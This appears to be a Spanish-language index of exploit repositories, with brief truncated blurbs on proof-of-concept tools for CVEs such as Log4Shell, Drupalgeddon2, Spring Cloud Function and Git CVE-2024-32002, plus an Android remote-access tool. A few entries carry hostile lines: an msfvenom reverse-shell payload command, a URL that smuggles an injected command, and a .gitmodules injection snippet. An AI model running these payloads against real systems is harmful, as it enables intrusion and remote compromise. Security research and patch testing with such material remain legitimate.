CVE-2020-14947

CVE-2020-14947 El exploit oficial para OCS Inventory NG v2.7 Ejecución Remota de Comandos CVE-2020-14947...

CVE-2022-22963-Exploit

Exploit de CVE-2022-22963 Este repositorio contiene un exploit basado en Rust para la vulnerabilidad CVE-2022-22963 presente en Spring Cloud Function versiones 3.1.6, 3.2.2 y versiones anteriores no compatibles. La vulnerabilidad permite la ejecución remota de código y el acceso a recursos locale...

log4j-shell-csw

Log4j Exploit Simple Un Exploit de Prueba de Concepto para la vulnerabilidad CVE-2021-44228. Log4j, que se utiliza para registrar información de seguridad y rendimiento, afecta a más de 3 mil millones de dispositivos que usan Java en una variedad de servicios, sitios web y aplicaciones de consumo...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 Inspired from https://github.com/dreadlocked/Drupalgeddon2 Supports: Drupal 8.3.9 / 8.4.6 / 8.5.1 user/register URL, attacking account/mail & postrender parameter, using PHP's passthru function Pending Yet ...

CVE-2020-24972

Entonces CVE-2020-24972 se deriva de otro CVE en realidad. No recuerdo el CVE que se designó, pero tiene que ver con la opción de línea de comandos platformpluginpath de Qt. En esencia, el problema proviene del uso de Qt, específicamente la opción platformpluginpath. "Este parámetro debe contener...

CVE-2022-1329-WordPress-Elementor-RCE

CVE-2022-1329-WordPress-Elementor-RCE Este PoC está basado en el de AkuCyberSec. 中文版本 Uso Usa docker-compose para iniciar el entorno vulnerable: root@kitploit: docker-compose up -d Luego puedes acceder a la página de administración de WordPress con la URL http://localhost:8000. Registra el usuari...

cve-2023-51385

Verificación de CVE-2023-51385 Primero, necesitas añadir el siguiente contenido a /.ssh/config: root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Existe una inyección de comandos en la declaración del archivo .gitmodules root@kitploit: url = ssh://echo...

rdroid

Este proyecto no está mantenido actualmente, pero tan pronto como tenga tiempo probablemente en los próximos meses, se arreglará para que funcione. rdroid ¡Gestiona tu teléfono Android de forma remota, también conocido como RAT! Historia Trabajé en este proyecto durante la secundaria, en el año...

CVE-2024-32002

GIT RCE CVE-2024-32002 Descripción | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | Primero necesitas crear los repositorios "calledrepo" y "commandrepo" en git. | La víctima más tarde llamará a calledrepo con "git clone --recursive calledrepo.git" qu...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP Este script es una herramienta de seguridad personalizada diseñada para probar una vulnerabilidad crítica de pre-autenticación en sistemas que ejecutan servidores SSH basados en Erlang Este script es una herramienta de seguridad personalizada diseñada para probar una...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Ejecución Remota de Código） all log4j-core versions =2.0-beta9 and =2.14.1 Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualices a la última versión. Avisos de seguridad / Boletines vinculados a Log4Shell CVE-2021-44228 Uso: descarga este proyecto...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Plantilla de Nuclei para CVE-2022-1388 BIG-IP iControl REST Expuesto 06 de mayo de 2022 Esto solo verifica la presencia de la API accediendo al endpoint de autenticación Esta vulnerabilidad puede permitir que un atacante no autenticado con acceso de red al sistema BIG-IP a través del puerto de...

CVE-2024-7954

CVE-2024-7954 This exploit will attempt to execute system commands on SPIP targets CVE-2024-7954. Overview This is a bulk scanning and exploitation tool for CVE-2024-7954: SPIP 4.2.8 allows unauthenticated attackers to launch RCE on SPIP targets. This tool is based on this Security Research. How ...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 PoC Script for CVE-2023-4596, An efficient Python tool created to perform unauthenticated Remote Command Execution via arbitrary file uploads. Resources Installation Usage Usage Installation root@kitploit: git clone...

CVE-2021-41805

CVE-2021-41805 - HashiCorp Consul Enterprise RCE !WARNING AVISO LEGAL: ¡Esta herramienta es ESTRICTAMENTE solo para FINES EDUCATIVOS! El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ILEGAL. Es responsabilidad del usuario cumplir con todas las leyes aplicables a...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Ciego-SSRF-a-Ejecución-Remota-de-Código-Shellshock-Informe-Profesional-de-Bug-Bounty Este repositorio contiene un informe profesional de bug bounty que demuestra la explotación exitosa de una vulnerabilidad de SSRF Ciego que alcanzó un endpoint CGI interno vulnerable a Shellshock CVE-2014-6271. S...

CVE-2019-11932

CVE-2019-11932 La dirección del sistema y el gadget deben reemplazarse por la dirección real encontrada por una vulnerabilidad de divulgación de información. Después de reemplazar la dirección del sistema y el gadget. Ejecute el código para generar el archivo GIF dañado: root@kitploit:...

CVE-2024-32002

CVE-2024-32002 Solo un pequeño script para explotar CVE-2024-32002 basado en el CVE disponible Cómo hacerlo Primero, crea 2 repositorios vacíos en GitHub o GitLab. Luego git clone y ejecuta este script. Finalmente: git clone –recursive repo2 para RCE automático...